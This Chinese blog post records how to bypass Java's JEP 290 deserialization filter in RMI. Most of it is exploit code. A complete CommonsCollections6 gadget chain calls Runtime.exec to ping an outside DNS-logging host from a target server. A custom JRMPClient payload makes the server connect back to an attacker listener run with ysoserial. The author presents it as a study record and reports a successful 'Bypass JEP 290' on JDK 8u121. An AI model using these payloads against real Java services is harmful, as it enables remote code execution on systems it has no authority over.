前言
如何去 Bypass JEP 290,本文会记录
What is JEP 290?
JEP 290(Java Enhancement Proposal 290)是 Java 为了解决反序列化漏洞带来的安全问题而引入的机制。它在 JDK 8u121、JDK 7u131、JDK 6u141、Java 9 中默认启用,目的是限制在反序列化过程中可以加载的类,防止攻击者通过精心构造的对象链执行恶意代码。
翻看它的官方说明–>JEP 290: Filter Incoming Serialization Data,它的实现可以概括为三件事:
- 限制服务端和注册中心必须在同一 host:在之前的文章中曾提及过,服务端与注册中心的相互攻击和客户端和与注册中心的相互攻击没什么两样的,而 JEP 290 强制服务端与注册中心运行于同一主机,这下从根本原因上阻断了 Server 端与 Register 端的相互攻击。
- 引入类级别的反序列化过滤机制:提供 ObjectInputFilter 接口用于细粒度控制反序列化行为。过滤器可以通过编程方式设置,也可以通过 JVM 参数(如 -Djdk.serialFilter)或 security.properties 文件进行全局配置。
- 启用更安全的默认值:从 Java 8u121/JDK 7u131/JDK 6u141/Java 9 开始,即便开发者没有显式配置过滤器,JDK 开始也默认采用白名单机制对反序列化数据进行限制。
主要是因为第三点的这个默认白名单,导致当时 Ysoserial 中的所有 Gadget 全部失效!而大家常提及到的 Bypass JEP 290 实际也就是对白名单的绕过!
JEP 290 的做法
这一小节,想说清楚两个问题。一是 JEP 290 的白名单是加在了哪里?二是这个机制在哪个阶段进行了过滤?针对第一个问题,就不班门弄斧了,它是加在了如下的两个位置–>
分别在 RegistryImpl 类和 DGCImpl 类中加入了过滤机制,仔细读读代码,其实都用的是白名单的机制,即只允许反序列化特定的类。
OK,那这个过滤机制是否影响 RMI 通信过程中的每一个阶段呢?显然不是的,那它这个机制在哪个阶段进行了过滤呢?先分别看一下 registryFilter、checkInput 方法的调用情况,如下–>
都是在初始化的时候去设置了一个反序列化过滤器,再无别的地方单独调用这两个过滤代码。何为初始化,Register 的初始化就是指着Registry registry = LocateRegistry.createRegistry(1099);
这一行代码;而 DGC 的初始化,也就是 DGCImpl_Skel 是如何创建的,之前的文章也提及过,创建时间是在HelloRemoteObject helloRemoteObject = new HelloRemoteObject();
这行代码之前,创建方式和 RegistryImpl_Skel 类似,不赘述了。这里就简单跟一下 Register 的初始化–>
DGC 的初始化也是同理的,那么从代码层面来看,不难发现,JEP 290 的这两个过滤代码,只影响被攻击侧是 Registry 以及 Server(仅是 DGC 侧)的情况,那么它没有防护的地方就是针对于 Server 端以及 Client 端的攻击,自然而然绕过方式也是从这两点去延伸,其实这两个东西之前就记录过,一个是“RMI 反序列化 Attack”一文中提到的客户端攻击服务端的扩展方式,而另一个点更像是在问如何让一个 Server 端马马虎虎变成一个 Client 端?这就是上篇文章“记录 RMI 引出的 Gadgets”中的东西。
针对于 Server 端的攻击
将 JDK 版本换到 8u121,还是老样子,先去测试参数类型为 Object 的,这次用 CC6 去攻击–>
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class ClientAttackServer {
private static HashMap getPayload() throws Exception {
Class<?> clazz = Class.forName("java.lang.Runtime");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(clazz),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"ping 6y7d5.cxsys.spacetab.top"}
)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","xxx");
Map<Object,Object> lazyMap = LazyMap.lazyMap(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "abc");
HashMap<TiedMapEntry,Integer> entryMap = new HashMap<TiedMapEntry,Integer>();
Class<?> clazzTiedMapEntry = tiedMapEntry.getClass();
Field field = clazzTiedMapEntry.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry,new HashMap());
entryMap.put(tiedMapEntry, 1);
field.set(tiedMapEntry,lazyMap);
return entryMap;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("172.23.254.68", 1099);
IRemoteObject helloRemoteObject = (IRemoteObject)registry.lookup("helloRemoteObject");
System.out.println(helloRemoteObject.sayHello(getPayload()));
}
}
成功触发 DNS 请求,如下–>
嗯嗯没错,服务端这里是没有做任何防护的。至于怎么去扩大攻击面,之前文章中也提及过,去 Hook Client 端计算 hash 值的方法即可,上次是采用手动 debug 的方式,这次尝试用 RASP 去实现,看网上都是清一色的去 Hook java.rmi.server.RemoteObjectInvocationHandler 类 InvokeRemoteMethod 方法的 args 参数,也就是下面这里–>
这里不选择去 Hook 这个点,而是去 Hookref.invoke((Remote) proxy, method, args,
getMethodHash(method));
这行代码的第四个参数,也就是不用去手动改 getMethodHash(method) 的返回值了,直接定成一个常量即可,值即为之前提到过的 8370655165776887524L,截三张其中比较关键的图片–>
成功触发 DNS 请求,如下–>
具体的操作过程、代码放到 Github 上了:JEP290-Bypasser
Tips:这里也尝试直接去将 method Hook 为 IRemoteObject.class.getDeclaredMethod(“sayHello”, String.class),应该是类加载先后顺序的原因,JVM 始终找不到这个 IRemoteObject 类,暂时没能成功。
针对于 Client 端的攻击
这一点就是“记录 RMI 引出的 Gadgets”一文中的第二条链,通过一个反序列化的点让 Server 端向外发起一次 JRMP 请求,与 Ysoserial 中 ysoserial.exploit.JRMPListener 配合完成一次反序列化的攻击。
演示一下,老样子还是开启一个普通的 RMIServer–>
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
HelloRemoteObject helloRemoteObject = new HelloRemoteObject();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("helloRemoteObject", helloRemoteObject);
System.out.println("RMI Server is ready...");
}
}
这里就不使用 Ysoserial 中的 ysoserial.payloads.JRMPClient 这个 gadget 了,它只可以生成一段恶意的序列化数据,没魔改过的 Ysoserial 不太方便用这个 payload 直接去打 RMIServer,所以自实现一个 payloads.JRMPClient 如下(就是将之前 ClientAttackRegistry 的代码改了改)–>
package rmi;
import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.ObjID;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.util.Random;
public class JRMPClientPayload {
private static Object getPayload() throws Exception {
String host = "xxx.xxx.xxx.xxx";
int port = 9999;
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
private static final Operation[] operations = new Operation[]{
new Operation("void bind(java.lang.String, java.rmi.Remote)"),
new Operation("java.lang.String list()[]"),
new Operation("java.rmi.Remote lookup(java.lang.String)"),
new Operation("void rebind(java.lang.String, java.rmi.Remote)"),
new Operation("void unbind(java.lang.String)")
};
public static void lookup(RegistryImpl_Stub registry) throws Exception {
Class<?> clazz = Class.forName("java.rmi.server.RemoteObject");
Field field = clazz.getDeclaredField("ref");
field.setAccessible(true);
UnicastRef ref = (UnicastRef) field.get(registry);
RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(getPayload());
ref.invoke(var2);
}
public static void main(String[] args) throws Exception {
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("xxx.xxx.xxx.xxx", 1099);
lookup(registry);
}
}
然后直接用 Ysoserial 中 ysoserial.exploit.JRMPListener 这个 Payload 去伪造一个服务端,之后运行 JRMPClientPayload 如下–>
此时也成功触发 DNS 请求,如下–>
在 JDK 版本为 JDK 8u121 的情况下,成功的完成了一次对 Server 端的攻击,Success Bypass JEP 290!